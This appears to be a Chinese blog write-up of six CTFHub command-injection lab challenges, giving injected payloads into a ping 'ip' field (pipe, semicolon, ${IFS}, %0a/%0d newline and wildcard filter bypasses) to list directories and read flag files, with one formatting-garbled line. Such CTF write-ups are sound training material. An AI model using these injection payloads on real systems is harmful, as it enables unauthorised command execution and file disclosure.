当前位置: 首页 > article >正文

【CTFHub】REC-命令注入

文章目录

    • 1. 命令注入-无过滤
    • 2. 命令注入-过滤cat
    • 3. 命令注入-过滤空格
    • 4. 命令注入-过滤目录分隔符
    • 5. 命令注入-过滤运算符
    • 6. 命令注入-综合过滤练习

1. 命令注入-无过滤

127.0.0.1|ls

image-20250114025042059

127.0.0.1 | cat 507646078368.php

image-20250114025723152

查看页面源代码:获取flag

1736794743402

2. 命令注入-过滤cat

127.0.0.1|ls

image-20250114030140092

127.0.0.1 | head flag_912679218831.php

image-20250114030304832

查看页面源代码:获取flag

1736795020232

3. 命令注入-过滤空格

127.0.0.1|ls

image-20250114030614468

利用 I F S 绕过空格: ‘ 127.0.0.1 ∣ c a t {IFS}绕过空格:`127.0.0.1|cat IFS绕过空格:‘127.0.0.1∣cat{IFS}flag_7556208413773.php`

image-20250114030655205

查看页面源代码:获取flag通关

1736795252750

4. 命令注入-过滤目录分隔符

127.0.0.1|ls

image-20250114030938142

由于过滤分隔符,flag_is_here文件夹下的文件不能直接读取

进入文件夹:127.0.0.1;cd flag_is_here;ls

image-20250114031118698

读取文件内容:127.0.0.1;cd flag_is_here;cat flag_286791822911822.php

image-20250114031210423

查看页面源代码:获取flag通关

a74ca30758c45f5101ee5cb918c2b7f

5. 命令注入-过滤运算符

分析:

这段代码处理通过 GET 传递的 ip 参数。首先,初始化变量 res 为 FALSE,检查是否存在 ip 参数且不为空。若存在且有效,赋值给 ip,并使用 preg_match_all 函数检查是否包含特殊字符 |&。如果不包含特殊字符,构建一个 ping 命令字符串,执行该命令并将结果存储在 res 中;如果包含特殊字符,则将匹配的结果存储在 res 中。代码未对输入做充分过滤,存在潜在的安全风险。

127.0.0.1|ls

image-20250114031529291

;cat flag_88412031215065.php

image-20250114031706755

查看页面源代码:获得flag通关

1736795845477

6. 命令注入-综合过滤练习

分析:

这段代码根据用户通过 GET 提交的 ip 参数执行操作。首先,初始化 res 为 FALSE,检查 ip 参数是否有效。正则表达式检查 ip 中是否包含特殊字符或敏感词,如 |、&、;、空格、/、cat、flag、ctfhub 等。如果没有,构建 ping 命令并执行,结果存储在 res 中;如果有这些字符,存储匹配结果。绕过方法包括使用 %0a (换行符)、%0d (回车符)、 ∗ 、 *、 {IFS} 等,以避开字符过滤机制。

首先:列举目录:?ip=127.0.0.1%0als

image-20250114032402750

列举文件下的文件:

http://challenge-c9a08ad2226bc477.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0Als#

image-20250114032504414

查看文件内容:

http://challenge-c9a08ad2226bc477.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0Ahead${IFS}fl$*ag_25656288724889.php#

image-20250114032721673

查看源代码:获取flag通关。

1736796477090

完成 REC/命令注入 练习

image-20250114032914838


http://www.kler.cn/a/503534.html

相关文章:

  • 第27章 汇编语言--- 设备驱动开发基础
  • 从transformer到informer
  • Linux下部署Redis(本地部署超详细)
  • 统计有序矩阵中的负数
  • 栈 (算法十二)
  • 精通SCP命令:安全高效地进行文件传输
  • 代码随想录Day34 | 62.不同路径,63.不同路径II,343.整数拆分,96.不同的二叉搜索树
  • 算法-查找数组对角线上最大的质数
  • 【IDEA 2024】学习笔记--文件选项卡
  • 我的年度总结
  • 高级运维:shell练习2
  • 【后端面试总结】tls中.crt和.key的关系
  • (EACL-2023)DyLoRA:使用动态无搜索低秩自适应对预训练模型进行参数高效调整
  • Springboot + vue 小区物业管理系统
  • OpenCV实现多尺度细节提升算法
  • Kafka消费者如何优雅下线
  • RTK北斗高精度定位4G执法记录仪在铁路作业安全风险管控中的应用
  • 【kubernetes】K8S节点状态的维护
  • C++并发编程之普通无锁队列与单生成者单消费者队列
  • 数据结构与算法之栈: LeetCode 151. 反转字符串中的单词 (Ts版)
  • 概率论考前一天
  • Elasticsearch面试题总结
  • Linux Kernel 之十 详解 PREEMPT_RT、Xenomai 的架构、源码、构建及使用
  • 高级运维:源码编译安装httpd 2.4,提供系统服务管理脚本并测试
  • 【华为OD-E卷 - 猜数字 100分(python、java、c++、js、c)】
  • 代码随想录算法训练营第十二天|第18题. 四数之和